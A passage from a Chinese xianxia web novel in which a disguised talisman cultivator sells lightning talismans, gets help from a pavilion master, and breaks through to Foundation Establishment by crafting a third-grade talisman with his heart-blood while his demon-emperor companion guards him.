她斟酌片刻,还是开口:“我听闻白日有人来千玄阁闹事,使位贵客未能达成交易。若小友那里还有二品符箓,我愿意收购。”
话音刚落,她就发现那位年轻修士看她的眼神似乎不一样了,如沐春风,令人十分舒适。
“的确有。”
沉墨清手腕一翻,一张银白符箓已夹于修长指间。
白发女子这次倒是真的微微惊讶了。
——第二张二品惊雷符。
九成九品相!
白发女子意念一动,银白符箓已飘至面前,只一眼,她的眼神就发生了变化。
“这张符是你炼制的。”她肯定道。
沉墨清颔首。
白发女子眼眸剧震:“你的修为止于炼气巅峰。”
这一眼,沉墨清便知道她是个道行不浅的符修,依然颔首:“是。”
白发女子感受着符箓的气息,再看沉墨清,仿佛发现了绝世的什么天材地宝,当下站不住了,背负双手,围着沉墨清转了一圈又一圈。
然后她就被这个年轻符修肩上的雪白小兽瞪了一眼,又一眼。
“白某也算见多识广,然,仅炼气修为就能炼制出二品巅峰的符箓,小友还是我见过的第一人。”
二品符箓并不少见,但近乎十成的品相实在难得,这意味着炼符之人的符道造诣极高——出现在一个炼气修士上,更是天方夜谭。
白发女子的话语中是毫不掩饰的震惊和欣喜,言末又叹了声可惜。
可惜,这道惊雷符只是九成九的品质,离十成还差一步——并不是这个年轻修士的问题,而是在符纸之上。
符纸只是寻常黄纸,若用更上等的云丝纸绘就,便是完美的十成品质。
不过,上等符纸本就昂贵,若非世家大宗,也不会如此奢靡,仅用来绘制二品符箓。
“我今夜未带足灵石,不如小友明日来千玄阁找我白玥,我必焚香煮茶以待。”
沉墨清:“算了,太过麻烦。”
白玥语气深长:“这二品惊雷符,我愿意以三千两百灵石收购,小友这里有多少,我收多少。”
沉墨清的笑意如清风朗月:“明日,我会来拜访前辈。”
苍舜扭头:“?”
白玥哈哈一笑:“不必戒备我,若我真想对小友做什么,何必那么复杂。”
她一挥手,无数符文飞出,如星子洒落长街。
刹那间,原本因为方才战斗而损毁大半的长街皆复位原状,那
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面被薛弃砸碎的客栈墙壁也完好如新。
白玥再对沉墨清微微一点头,脚踩符文,如踩着星辰长道,留下一道飘然离去的背影。
潇洒,真是潇洒。
白玥头也不回,嘴角不住上扬。
不枉我练习了这么久。
——
重回客栈时,老板只当什么都没发生,沉墨清给了一袋灵石算作补偿,又让重新上了一桌菜。
苍舜无动于衷地趴在桌子上,无动于衷地盯着面前那盘炸得酥酥脆脆、金黄可口、撒满细碎椒盐的小鱼干。
沉墨清转身,面朝窗外。
几秒后,淡然地转回来。
雪白小兽叼着一根小鱼干,嚼嚼嚼。
味道不怎么样。
平平无奇。
也不是很喜欢。
两三口吃掉一根,又飞快地叼起下一根。
沉墨清坐在桌边,取出一叠空白符纸。几缕乌发绸缎般滑过肩侧,浸透窗外的皎洁月色。
雪白小兽叼起第三根小鱼干,一屁股坐在他手边。
【你缺灵石?】
沉墨清:“嗯。”
【为什么不卖我的毛?】
听见这自然而然的语气,沉墨清低头,伸手摸了一把雪白的小毛绒球:“不卖。”
苍舜没吭声。
过了两秒,若无其事地叼了根小鱼干,放到沉墨清掌心。
沉墨清轻咬一口,椒盐过重,不如年少时教他念书的夫子炸来下酒的佐食。
他手指轻敲桌面,储物袋倾泄出所有灵石,在夜色中铺开莹润的浅色光幕。
再取出一叠符纸,双指为笔,全神贯注,二品惊雷符,几乎一笔而成。
转眼间,旁边的灵石少了一小堆。
终究还是修为限制,若他能跨过筑基,再炼符箓,灵力消耗也会少很多。
苍舜抱住一小块发光的灵石,状似很不经意地开口:【你要炼符,也可以用我的毛】
【反正,你一下子就能炼化】
换作旁人,哪怕是大乘修士,也不可能炼化他的东西。
偏偏这个人……
苍舜的下巴搁在灵石上,一眨不眨地偷瞄了眼身边的人。
沉墨清温声道:“若事事都借外力,也不必修行了。”
诚然,以妖皇的皮毛炼化符箓是条通天捷径,但修行一道最忌捷径,他更愿意以自己的力量,走出一条大道。
况且,这只妖皇也不是天天掉毛的。他收集的那些皮毛总有耗尽之时——之后若非生死一线的绝境,他不会动用。
若有一日,苍舜要收回自己的东西,他也会还给他。
苍舜不吭声了。
他为什么不要我帮他?
雪白小兽一动不动地窝在沉墨清手边,似乎在想心事,是只若有所思的小毛绒团。
过了两秒,沉墨清听见一道低沉男声:
【这里坏人太多,下次,我不会远离你了】
沉墨清笑了起来:“我不会死的。”
他知道,这只妖皇是担心有契约的存在,他身死后,会连累他受到重创。
受制于人,普通人尚且难以忍耐,更何况生性骄傲的大妖。
等他修为再进,就研究出解开他们之间的契约之法。
苍舜并不知道沉墨清的想法,心情似乎好了起来,叼着小鱼干,在他身边溜溜达达。
下一张符并非二品惊雷符,而是一品落雷符。
炼符一道,哪怕是高境大能也有失败的概率,和熟练度无关,纯粹是天意。
沉墨清并不意外,符纸放在旁边,被一只毛茸茸的爪子踩住了。
“咪呜。”
【这个,我买了】
雪白小兽仰起下颌,抖下了几根细长如雪的毛毛,飘落在符纸上。
沉墨清:“……”
他的手指轻轻捏住符箓边缘,往外抽了抽,抽不动。
苍舜倨傲地踩住符箓,气势汹汹,霸气威严,仿佛脚踩的不是一张便宜符纸,而是偌大的修真界。
沉墨清拿起刚才炼成的二品惊雷符:“不如用这个换。”
苍舜扭过脑袋。
【不要,我就喜欢这个】
沉墨清沉默片刻,摸摸那只毛茸茸的小脑袋:“多谢。”
尊贵的妖皇哼哼一声,爪子扒拉起那张符纸,往空中一丢,符纸随即隐没不见。
耗费半夜时间,沉墨清共炼出四道惊雷符,两张落雷符,还有一张当场失败,爆出的细碎雷光不慎把正巧挨着他手边舔毛的妖皇陛下给炸了一下,全身毛毛一下子炸蓬了。
在妖皇大声的咪呜抗议声中,沉墨清淡定地把这只蓬蓬的大毛绒球抱在腿上,顺着毛摸了几把,又亲手给他喂了几根小鱼干,总算是把炸成蒲公英的妖皇哄顺了下去。
月光微黯,后半夜,沉墨清在床上打坐修炼。
一只雪白小兽在他垂落床铺的衣袍间踩来踩去,有时翻滚扑腾,有时伸长爪子摊平身躯,一会是只圆滚滚的糯米团子,一会是白白的长年糕条。
过了一会,这只小绒毛球静悄悄地贴在沉墨清衣袍边,轻轻挨着他。
又了一会,小绒毛球软软地趴在他的腿上。
再过一会,小绒毛球活泼地在他肩上扑通。
最后,小毛绒球嚣张地爬到了他的头顶,到处蠕动。
沉墨清全神贯注,静坐不动,如破岩而出的无风之竹。
苍舜从他头顶探下脑袋,这个角度可以看见那人的乌发拂落侧脸,纤长眼睫在白皙肌肤间打下轩窗竹叶般的阴影。
虽然是易容,但他记得这个人原本的脸上,眼睫还要更密一些,更弯翘一点点。
下意识的,苍舜伸爪,摸了摸他的眼睫。
沉墨清:“……”
他淡定地捏住某只妖皇尊贵的后颈皮,把这只大声咪咪呜呜的小毛绒球一把塞进被子里,卷巴卷巴,裹成了一坨小粽子。
世界清净了。
6. 第六章 大咪咪
千玄阁。
辰时三刻,一楼负责收购低品符箓的老人就见一位年轻客人怀抱一只幼小妖兽,踏入阁内。
是他?
昨夜城中有私斗,他还以为这人必死无疑……看来柳家昨日并没有派人找他麻烦,不然也不会安然无恙地出现在这里。
老者下意识以袖遮面,不欲让那个年轻符修看见自己。
今天一大早过来,想必是要趁柳家少爷不在,卖出那几张符。
可惜,他可不愿意得罪柳少爷……
“您就是家师说的贵客吧!”
一个鹅黄衣裙的少女蹦蹦跳跳地从二楼下来,两条辫子在身后翻飞,明亮的眼眸瞄了好几下沉墨清怀中的雪白小兽。
“初次见面,我叫宁离离,叫我离离就好。”那少女盈盈一笑,“请跟我来,家师一早就等着您啦!”
沉墨清颔首致谢:“在下江逾。”
老人的眼睛一下子瞪圆了。
那,那不是掌事的——
那个活泼少女引着沉墨清走向二楼,老人连忙追过去,只见他们在二楼脚步不停,直接往三楼去了。
老人愣在原地。
三楼——那可是筑基以上的修士才能踏足之地!
他究竟是什么人,居然能得掌事接见!
顶层雅室,薄白香雾绕过花鸟屏风,数道符箓漂浮在空中。
宁离离的脸庞几乎贴上符箓,嘴巴微张。
居然每一张都是完美品相!怎么炼出来的!
白玥揪着宁离离的小辫子,一脸不争气地把她拉回身边,再看向对面坐姿从容的年轻符修:“小友炼制了多少次?”
沉墨清:“七次,两次落雷符,一次失败。”
顺手把掌心搭在雪白小兽背上,摸摸那蓬蓬的毛。
苍舜微微眯起眼睛,趴在他膝间,放松下了脊背。
从毛绒球变成一摊小圆饼。
白玥感慨:“小友果然天资斐然。”
七成品相的符箓已属上等品相,越是高级的符箓要达到上等越难,连她也不敢保证每次炼符的品相都能稳定上等。
七次中有四次皆为九成九的品相,已是极为惊人的成功率——更别提其中两次并不算失败,而是炼成了同样品相上佳的一品落雷符。
白玥扫了宁离离一眼,眼神里的意思很明显——你看看人家!
宁离离摸摸那道惊雷符,扭头看着白玥,眼神也很明显——师父!我要这个还有这个!
“……”
交易很快达成,白玥以一万五千两百块灵石买下了四张二品惊雷符、两张一品落雷符和两张火炎符。
宁离离抱着符箓,嘴角快要咧到天上,还没乐多久,就听见白玥不咸不淡的声音:“好好感受里面的符文脉络,灵力走向,最好有上千字的心得体悟,下午为师就要考察。”
“……”
宁离离脸上的笑容消逝了,白玥嘴角微扬:“江逾小友可愿入我千玄阁?”
“我千玄阁是东州第一大炼符组织,这里只是青竹城的分部,若小友愿意,我可将你直接推荐至主阁。”
“承蒙厚爱,”沉墨清说,“晚辈已有宗门。”
桌边摆着几碟精致点心,其中有一盘桂花糕,他见膝上的雪白小兽很不经意地往那边瞥了一眼,便拿起一块放到掌心,又说:“不知白掌事这里有没有三品护灵符?”
三品?结丹所用?
白玥思忖之间,摇了摇头:“江小友来晚一步,我们分阁仅有一道护灵符,半月前的拍卖会上,被听雨宗以八万灵石拍下。”
沉墨清还没回话,耳畔就响起了和“咪呜”交叠的低沉男声:【现在灵石已经贬值成这样了?】
【你还是卖我的毛吧】
沉墨清又拿起一块桂花糕喂给这只妖皇,对这个价格并不意外。
虽然法修的修行相对剑修更为困难,却比剑修富裕不少。所炼制的符箓丹药一类的法宝往往售价不低,有特殊作用的法宝更是溢价颇多。
宁离离看看手中几道崭新符箓,戳戳白玥手臂,白玥无奈瞥了她一眼,再度开口:
“我不妨再和江小友透点底,青竹城有三大势力,柳家,千玄阁,然后是听雨宗,毗邻青竹城的三级符修宗门。”
“半月前,听雨宗少宗主和柳家二少爷在拍卖会杠上,一时冲动以高价拍得那道护灵符。事后懊悔,便让宗门向我们施压,半年内不得再炼制和售卖护灵符。”
“虽然千玄阁是东州第一符修组织,但听雨宗更是上州在东州设立的下宗。江小友日后若遇到他们,最好不要发生冲突。”
“多谢提醒。”沉墨清领下她的好意,再度开口,“如果我想买三品护灵符的符方和材料呢?”
炼符需要符方,三品符箓已属于中品,不仅要消耗大量灵气,还需辅以特殊材料。
他之前所掌握的符方大多以攻伐为主,对于辅助类的符箓了解不深。不过,他知道符方和材料会比成品符箓便宜不少。
白玥说:“小友是想为尊师购买?”
“不,”沉墨清说,“我自己炼。”
宁离离诧异地“啊”了一声,心道这也太异想天开了,除非他有十二道符道根骨,是符修里的沉墨清。
白玥也沉默了几秒,缓缓开口:“若小友是为自己筑基所用,可以选择二品助灵符,我这里刚好有,可以相赠。”
“并非我看不起小友,只是要以炼气之资炼三品符箓,难如登天,稍有不慎就可能遭灵气反噬,根骨受损,此后修行也将踯躅难行。”
沉墨清淡然一笑:“我听闻东州有位符修大能,曾以金丹修为炼出五品符箓,惊才绝艳,令人心神向往。”
“修行本就是登天之道,以蜉蝣之身撞天渊又如何,纵然身死,魂灯犹照后来人。”
苍舜抬眼。
人族修士,说出这话时何等意气风发,宛如一往无前的利剑。
宁离离微愣,发现她师父的神情变了。
师父的眼中闪烁着她不知道怎么形容的光泽,震惊,诧异,欣喜……就像暮年老人,见到了久别重逢的故交。
这还是她第一次见到这样的师父。
“……原来,还有后来人记得她。”
白玥的手指搭在杯沿,连杯中茶水溢出到指尖都未曾发觉。
她缓缓放下茶盏,瓷底叩桌,发出一声轻响,随后笑了起来。
“不必担心符方,我可以为你找齐所有材料,不收半块灵石。只是如今阁内材料不全,短时间内也只能集齐两份。”
两次机会对于三品符箓而言实在太低,就连她金丹中期的修为,要炼制三品符箓至少也需准备三份材料——这就是中品符箓的珍稀之处,远非下品能及。
“柳家那边尚无动静,以防万一,这段时间江小友可搬来我千玄阁,白某好歹有几分薄面,他们不会对你做什么。”
沉墨清嗓音清和:“劳烦掌事尽心为我搜寻,这是酬劳。”
他修长手指从雪白小兽的脊背间抬起,微微舒展,灿亮的符文环绕,眨眼凝聚成一张透明符箓,中间闪烁细碎雷光。
白玥忽然坐直了。
“小事一桩,”她一把握住沉墨清的手,沉稳而可靠地说,“交给我罢!”
苍舜:“???”
苍舜抬起一爪子就要把那只手拍开,白玥眼疾手快,先一步将手缩了回去。
宁离离目瞪口呆。
那是……
四品符方?!!
……
客人离去,雅室内只剩半盏残茶。
白玥将神识注入那道符方中,瞬间便有炽烈雷光涌动。
四品雷动符符方!
——若是炼得成符,可爆发元婴初期威能!
宁离离呆呆地说:“师父,他真的只是炼气吗?”
“没错。”白玥肯定道,“能轻易拿出四品符方,又有此等天资,却孤身一人游历下州,恐怕……也是失意之人啊。”
“那他为什么不请师父你帮忙炼制符箓,何必冒这么大的风险?”
白玥敲了一下她的脑袋:“他也不想我得罪听雨宗,比你聪明多了。”
宁离离习以为常地捂住脑袋:“师父相信他?”
白玥沉默片刻,再次开口:“他们都说剑是百兵之首,剑修也是众修之首,以剑通天,无视境界——但,符修所炼之符,其实亦无境界制约,符道追求之路,乃是皓首穷经,小小蜉蝣,亦能撼天。”
“你师祖曾以金丹修为,炼出威力可敌化神的五品符箓,我一生追逐她的步伐,可惜两百载已过,终是我天资所不能及。”
“若他真能以炼气之姿炼出三品灵符,于我符修一脉,如大日初升。”
白玥说到这里,脸上浮出一层光彩。
“既见美玉,云胡不喜。”
宁离离听见师父的喃喃,眼眶忽然一热。
她的师父曾是宗门天才,不到百岁就已结丹,本有望成为东州最年轻的元婴……可后来,不知何原因,师祖故去,师父被逐出宗门,本源受损,修为滞涩,如今两百年已过,依然停留在金丹。
宁离离大声地说:“师父!我也可以!终有一日,我会炼出四品渡灵符!”
四品渡灵符,可护金丹修士灵台安稳,等师父修为达到金丹大圆满,凭借此符,元婴大大有望!
白玥幽幽地说:“你怎么就这点志气。”
宁离离:“?”
“你有八道符修根骨,就算在上州,也绝不会输给那些大宗天骄。”
白玥抬手,掌心缓缓落在自己弟子发间。
“当然,为师不求你一定登临大道,平安喜乐度过一生也足矣。”
她望着弟子纯澈的眼睛,微叹口气:“就算有十二道根骨又如何,昔日那位名震九千州的剑道天骄,不还是——”
“因为他没有一个好师父啊,”宁离离想也不想地抱住白玥手臂,摇晃一下,“师父对我最好啦!”
白玥和蔼地笑了:“还不去写千字的练符心得。”
“……”
千玄阁一层,似有目光落在他身上。
沉墨清微微侧首,见昨天那位老人躲在柜台后,欲言又止。
他向老人微微颔首致意,老人一愣,也回以点头。
长街之上,年轻修士缓步慢行,束起的乌发随意拂过纤瘦腰侧。
他的手臂间,圆乎乎的小毛绒球抱着桂花糕,一小口一小口地啃着,姿态十分优雅。
沉墨清低头看了两眼:“白糖糕吃桂花糕。”
苍舜:“?”
雪白小兽刚一抬爪,沉墨清就把小毛绒球往怀里一揣,掌心熟练地从那只小脑袋一路抚至毛茸茸的尾巴。
正要炸起来的小毛绒球安静了,软乎乎地趴在他的手臂上,圆溜溜的兽瞳舒服地眯起。
过了两秒,苍舜似乎觉得不太对劲,再次抬起脑袋。
微风拂过垂落乌发,露出白皙而淡然自若的侧脸。那双眼眸低垂,含着些许温润流光。
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“……”
算了,他是大妖,才不和他计较。
苍舜慢吞吞抬起毛茸茸的爪子,拍一下沉墨清的袍角边边。
沉墨清回到客栈,白玥的行动力很快,不过两三天便集齐护灵符所需大部分材料,只差最后一道。
半日后,她托传音符给沉墨清:“江小友,很抱歉,恐怕还要再等几日。”
“最后所需的百年灵竹节被柳家以高价扫空,想来是之前走漏风声,他们知道我要找的是护灵符材料。”
“我已向其他分阁求购,再等两周就能送来。”
薛弃死后,柳家毫无动静,就像从没有过这个人。此刻突然发难,沉墨清并不意外——他们应该猜出真正需要护灵符的是他,毕竟白玥最近接触过的人只有他。
【他们既要报仇,为何不在你杀了那个废物的第二天上门?】
苍舜抱着一根干炸小鱼干,对此颇为不屑一顾。
“薛弃于他们而言只是棋子,死了就是弃子。”沉墨清倚坐窗边,观一场细雨浸润青竹城,“他们不知我真实实力,恐怕还以为我也是金丹。”
东州不过是六千下州中的一个小世界,金丹已是此地顶尖强者,那位柳家家主,自身也才金丹中期。
苍舜嘲笑:【那一开始还要来犯蠢招惹你,踢到铁板又不敢吭声,只能用些不入流的手段】
【你们人族怎么总有那么多坏心思】
他低头看看爪子里的小鱼干,又加了一句:【你除外】
沉墨清:“好咪咪。”
苍舜:“???”
雪白小兽气嗷嗷的,又用爪子挠一下沉墨清的袍角,带着小鱼干跑到房间另一边,不肯理他了。
不到半日,沉墨清又收到传音符。
“齐了。”
“柳家那位新回归的大少爷柳钰暗中托人送来了几份百年灵竹节,他之前一直在别地,最近几日才回到柳家,没想到你与他也有交情。”
数节莹润如玉石的竹节漂浮在空中,其中一节被画了一只笑脸小人。
沉墨清轻轻托住竹节,听见旁边苍舜的声音:【怎么,你早就算好了?】
沉墨清淡淡一笑:“与柳家少爷偶遇,岂是我能计算之事。”
所有送来的炼符材料反复检查过数遍,护灵符的符方也确认无误。
苍舜在客房里溜溜达达,沉墨清等他经过自己身边时抬手:“可否托你为我守住这里,别让他人进来?”
苍舜眉头微挑,下颌微昂,一言不发。
沉墨清:“英武不凡的妖皇陛下。”
苍舜:“。”
非常英武的妖皇哼笑一声,抬爪放在那个说话很好听的年轻人族掌心。
刹那间,无数电光如蛇游走,爆开炽烈银芒,呼啸卷起的雷霆风暴之中,一道庞大的身影踏足而出。
这是一头美丽而强悍的大妖兽,身形如雪豹,肌肉矫健流畅,日光下偏银的皮毛流转月晕光泽,赤色妖瞳如燃烧的流火,灼灼耀目。
他的周身缠绕银白雷光,散发着难以想象的威严气势,宛若天道投落的一柄雷霆之剑。
这一刻,沉墨清依然无法看透苍舜的修为——并非他们之间差距过大,而是这只妖皇的特殊血脉本就可以隔绝一切外界窥探。
苍舜俯瞰面前的人族,周身雷霆缓缓收敛,微微俯首,从那双乌沉清淡的眼眸里,清晰地看见了自己的英武不凡的倒影。
再凑近一点。
沉墨清被毛茸茸糊了一脸。
这只大妖皇姿态优雅地围着他转了一圈,粗长的尾巴微微环绕住他纤瘦的脊背。
【外界无法察觉本尊的气息】
低沉悦耳的男声,宛若上等的筝弦微微拨动。
沉墨清原本想摸摸那毛茸茸的头顶,思索一下,似乎对于这只变大的妖皇来说不太体面,便收了回去。
苍舜盯住他的掌心。
一声不吭地盯着。
缓缓凑近,微微埋下毛绒脑袋。
沉墨清闭目凝神,开始炼符。
苍舜:“……”
所有炼符材料漂浮于空,盘旋在沉墨清身边,他的眉目沉凝无澜,浅淡的光晕镀身,宛若一尊无喜无怒的神祇。
苍舜缓缓趴俯在他身边,脊背似连绵起伏的雄伟山峦,银白的长尾一勾,环过年轻人族,犹如隔开群山边的湖泊,将那汪美丽的清湖私自藏入山峦之间。
两份材料,两次机会。
沉墨清心神凝聚,缓缓睁眼,以神识为笔,于空中一笔一划,勾勒下符文。
他的每一笔,都蕴含着重山般的沉重滞涩。
一笔落定,立刻有光华自笔迹间亮起,仿佛天上星辰接连坠落于此。
苍舜察觉到了极具攀升的灵气,那是符箓将成的气息。
……果然,这个人族被那些烂人欺负到修为尽废前,是个厉害的符修。
苍舜一爪子按在沉墨清垂地的衣袍间,顺着褶皱抚平,又揉成一团,搓来搓去。
就说炼符没什么用,不如练剑,被人欺负还能打回去。
……也不如做他们妖族,那样就能待在妖界了。
他一眨不眨地注视着沉墨清,漫不经心地划过许多想法,下一秒,那双赤红妖瞳陡然一厉。
年轻人族身形微晃,薄唇逸出鲜红血迹,乌发散落,划过苍白而冷汗泠泠的侧脸。
原本将成的符文顷刻溃散,反噬加身,炼气巅峰,转眼跌落中阶!
——炼符强制失败!
7. 第七章 筑基
遭受反噬,灵力溃乱,沉墨清正要再度调息,身体已被巨大的阴影覆没。
一大团蓬松的毛绒包裹住了他,雪白浓密的毛发带着烘然热意,完全压住他的视野,侵占了他的气息。他余光瞥见一处绒毛也沾染上了鲜血,抬手想轻轻推开,反而被更多绒毛包裹起来。
妖皇庞大的身躯压下,宛若坍塌的山峦,将削瘦的人族修士完全囚在身下,让他的胸膛被迫与妖兽裹着厚实皮毛的腹部紧贴,如缎的青丝散落在厚毯般的雪白皮毛间,更显得那双埋入皮毛的修长十指薄白如玉。
这一幕,像极了强悍的大妖捕获了体型差明显的猎物,正要进食。
然而,苍舜只是垂首,下颌缓缓压在沉墨清发间,收敛的利爪轻轻按上他的小腹,注入滚烫的热意,为他渡去灵力。
沉墨清微微后倾,以双臂支撑住身躯,避免自己倒在地上,半张脸庞被迫完全贴上妖兽滚烫的胸腔,听到了那雷鸣般沉重的心跳。
强大的灵力源源不断汇入丹田,沿着新生的灵脉游走向四肢——但那灵力太过滚烫,仿佛全身被一股又一股热意浇筑,他的十指微微收紧,不由自主地攥住妖兽雪白的毛发。
似乎……传送灵力并不需要这样的方式,还是说这是五千年前,上古妖族输送灵力的习惯。
沉墨清微仰下颌,几缕墨发柔软划过白皙侧脸:“我自己也可以调息。”
压在发间的毛绒头颅没有动,如山的阴影里,落下一声不轻不淡的“嗷”。
【本尊灵力多得花不完,不要你管】
沉墨清:这次不是咪咪叫了。
不过是输送灵力,又不是被万剑穿胸,并不难以忍耐。
他安静地闭目调息,混乱的灵气很快又复平稳。
“可以了。”
苍舜不语,缓缓抬起下颌,低头看看闭目的年轻人族。
脸色苍白,削薄而漂亮的唇边犹染血。
沉墨清正要睁眼,那团巨大的毛茸茸忽然贴近,在他脸上一通乱蹭,把他嘴角的血也给蹭掉了。
被糊了一脸毛的沉墨清:“……”
沉墨清指指原本洁净无瑕,现在却沾着几块血污的绒毛:“脏了。”
苍舜理所当然地“嗷”一声。
【你给我洗】
沉墨清:“好。”
他的声音温煦悦耳,苍舜反而不吭声了。
一声不吭地趴在他旁边,睁着赤若流火的妖瞳,一眨不眨地看着他。
像只守护着家园的大狗狗。
沉墨清的神识沉入灵海,在灵海之内,睁开一双泠然眼眸。
方才炼符是一次毫无征兆的强制失败,被一道强大外力强行打断。
——枯木回春令。
那道数万年前的仙人所造之符令高悬于天,似仙人缓缓睁开的眼眸,无情低语:人生苦痛,何必挣扎。
逆天而行,必无善终。
三年前,年轻的剑修于暗室之内滴血为烛,炼出遗失万年的仙人之符令。
三年后,新生的符修独立天堑之下,嗤笑一声,不紧不慢地竖起一根手指。
“我偏不。”
神识直接在灵海内盘坐,一滴精血,自心间浮出。
客房内,苍舜一瞬绷紧了身躯,不可置信地看着年轻修士眉心之间溢出一点鲜红,犹如点染的朱砂痣。
那点朱砂,遥遥与半空再次成形的透明符箓相连。
“嗷呜!”
【你要气死我吗!】
以心血入符,以魂灵炼符,最为激进的邪道之法,一旦失败,就是神魂俱灭!
这一刻,苍舜好像才真正认清这个年轻修士,那张始终淡然从容的皮囊之下,藏着一把锋锐无挡,哪怕将自己割得鲜血淋漓也不愿入鞘的无鞘之剑!
灵符之内,沉墨清眉目轻阖,无惧亦无畏,如逆水行舟之人,迎千层激浪而上。
符修一道,与剑修殊途同归,练剑炼符,炼几炼物,炼身炼心,炼天炼地——
与己争,与天争!
他偏要争个高低,直至登临大道,天阶踏尽仇敌骨!
心血为笔,神魂为墨,以己身血肉,连跨两境,强炼符箓!
璀璨的金芒自暗室内亮起,如月高升,星辰自隐。
三品护灵符——成!
夜幕中的千玄阁,白发女子凭栏而立,旁边的黄裙少女忽然面朝一个方向,满脸愕然:“好强大的灵气!”
白玥的手指一下攥紧栏杆:“十成品相……”
“唯有十成品相的三品符箓,才会有如此澎湃的灵气!”
她高高仰起头颅,月光尽洒脸庞,一字一句,斩钉截铁:“师父,您看到了吗?前人虽寂,又有后来人。”
马车里,柳钰静坐,双手落在膝边。
“钰儿,东西已送到。”
车外传来沉稳的老妪声音,柳钰挺起的肩膀松了下来:“那就好,希望江兄……不要怪罪柳家。”
车外之人安静地架起马车,走到无人之地才再次开口:“家主只许诺一件宝物作为你的成年礼,换了那百年灵竹节,你就什么都没有了。”
柳钰笑了笑,捏起一块糕点。
马车忽然一晃,他听见周姨惊讶的声音:“好滂湃的灵气波动!是何人在炼宝?”
这一夜,青竹城半个城的修士都察觉到了一股浩瀚的灵气奔涌而出,似大江起潮,汹涌奔流,城墙所刻的古老符文甚至与之发生共鸣,一颗一颗相继点亮,铺就满夜繁星。
这样的一幕只发生在两百年前,一位金丹符修逆天而行,炼出五品符箓——而后,那位惊才绝艳的符修不知是何原因,迅速陨落。
此夜,当年一幕再度复刻,所有见到的修士皆知,又一位符道天才横空而出!
“何方道友在此炼符?”
夜空之下,一个玄金大氅的中年男人踩在客栈屋檐之上,背负双手,浑身修为一扫而开。
金丹中期。
柳家家主,柳傲。
“可否出来一见?”
又有一女子出现在他面前,白发随风微扬:“柳家主,许久不见,气色不太好啊。”
一夜之间,青竹城两大金丹强者碰头。
“柳家主以为能炼出三品符箓的是何人?”白玥轻笑,“那位道友现在不想被人打扰,柳家主还是回去吧。”
柳傲并不理她,只冷声道:“请道友现身一叙。”
炼出三品符箓,就算是金丹修士消耗必然也极大。先前杀他柳家家奴,挫他柳家脸面,蛰伏至今,正是为了等待这一刻。
无论如何,今日他必要那胆大妄为到竟敢得罪柳家的贼子付出代价。
月下的客栈寂静无声,柳傲冷哼一声,抬步一迈——
白玥袍袖翻飞,数道符箓已铺就天罗地网,将夜色割裂为两幕。
柳傲冷笑:“怎么,白掌事也想见一见我柳家的家传法宝?”
白玥哈哈一笑:“有何不可?”
柳傲阴霾的眼珠盯视她数秒,声音幽冷:“既然白掌事执意挡路,今夜就算了!”
他拂袖而去。
白玥手腕翻转,缓缓收回符箓,忽见柳傲身形于半空急转,一柄巴掌大小的利剑从袖口.射出,眨眼间已擦过她的身躯,撞向客栈!
脸都不要了!
白玥大骂,再丢出一道符箓——
忽有排山倒海般的威势从客栈内横扫而出,利剑和符箓顷刻碎裂,柳傲被震退数丈,撞上城墙,呕出一大口血。
【滚】
肃杀锋锐的嗓音直接在二人脑海内响起,深不可测的威压之下,在场的两个金丹修士皆无法抬头,甚至连站立都困难。
“前辈恕罪!”
柳傲早已面如土色,不断呕出的鲜血很快浸湿大氅,打颤的双手抱拳:“晚辈这就退去!”
数息之间,这位柳家家主已踉跄飞出视野之外。
白玥:“……”
还有高手?
她低头看看又恢复安静的客栈,方才那位前辈的声音十分陌生,仔细一想,江逾身边似乎只有……
她默默盘腿坐下,从袖子里抖出一包好徒弟孝敬的瓜子,就着月色磕了起来。
客房内,苍舜冷冷地眯起眼眸,利爪没入客栈地面,划开深深裂痕。
难怪他一定要三品护灵符,这根本不是正常修士突破筑基该有的难度!
那双猩红妖瞳深深地凝视一道染血身影——年轻人族闭目端坐,金色符箓悬于上空,衣袍下的削瘦身躯微微颤抖,鲜血不断渗出,仿若盛满液体而寸寸破碎的美丽白瓷,很快便将他浸润为血人。
这一幕,在周国北境,苍舜曾见过无数次。
每一次,都深深地刻进了他的眼里。
灵海之内,沉墨清的神识正在攀登一座不见顶的高山。
他乌沉如墨的双眸布满璀璨金色的符文,玄金映影,宛若斜阳洒金的墨湖,无波无澜。
每踏出一步,便是尖锐刀山,烈火浇油,不断煎烤神识。
“清儿。”
一道沙哑却温婉的女声在他身后响起。
“娘做了桂花糕,今日早点回来啊。”
“功课温习完了?再去把昨
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天的道论抄写十篇。”又是一悠长腔调的男声。
“小清,来,这月的工钱提前支给你,拿去给你娘看病吧。”女子笑声利落。
故人身影幢幢,似有怀念,唤他回首。
沉墨清没有回头,亦未停步。
他不断向前,迈出一步又一步,直至眸中符文尽数崩碎,神识也寸寸皲裂,布满蛛网裂纹。
修真者最重神识,哪怕神识轻度受损,也比身躯受千刀万剐还痛。
然而此刻,沉墨清的脸上没有一丝表情。
此痛,又何抵家人尽丧于眼前,万剑穿心之痛。
他向前,重重踏出最后一步——
踏天阶,登天堑!
滔天骇浪一掀而起,灵气化作呼啸的暴雨狂澜,扫荡整个灵海。
雨过天晴,年轻修士独立山巅,衣摆飘摇,登高临下,一览来时路。
轻舟已过万重山。
——已是筑基中期!
下一秒,又有新的天堑拔地而起,比之前更加高拔,更加遥不可及。
沉墨清原本踩在脚下的山巅变成了渺小的山底,站在此处,根本无法窥见新的山顶。
沉墨清平静仰首,与那道依然高悬灵海之上的枯木回春令对望。
这道符令虽然被他复刻,却威能过大,并不完全受他所控。
这次炼符是意外,之后,他会更加留心。
他原地盘坐,皲裂的神识缓缓修复,这又是一场煎熬的过程,如同剥皮之后重填肌骨,但他始终面无表情。
不知过去多久,那双清沉的眼眸睁开。
他的面前,一根细小的红色枝木悄然长出,顶端分叉开数道细细的枝杈,遥遥与枯木回春令相对。
——这是属于他的,新生的符道根骨。
共有八道。
沉墨清心念微动。
或许是因为符道同源,新生的根骨居然受枯木回春令庇护,玉百留下的剑气无法将之摧毁。
等他完全掌握枯木回春令,也许能借此彻底洗涤玉百剑气。
退出灵海之前,沉墨清再望了眼那道天堑。
下次再越天堑,便是登阶为金丹。
他的意识回归现世,对上一双近在咫尺,宛若晚霞流火的赤色眼眸。
一大团毛茸茸紧紧地贴着他,像是强行黏住他的皮毛大氅,一点风都漏不进。
不知是不是他的错觉,这只妖皇好像……怨气冲天的样子。
沉墨清抬手抚平炸炸的绒毛:“我没事。”
以他方才的状态,苍舜会担心自身受到契约牵连也无可厚非。
不知道这只妖皇暗中给他记下多少笔账,等契约解开之时……他们必有一战。
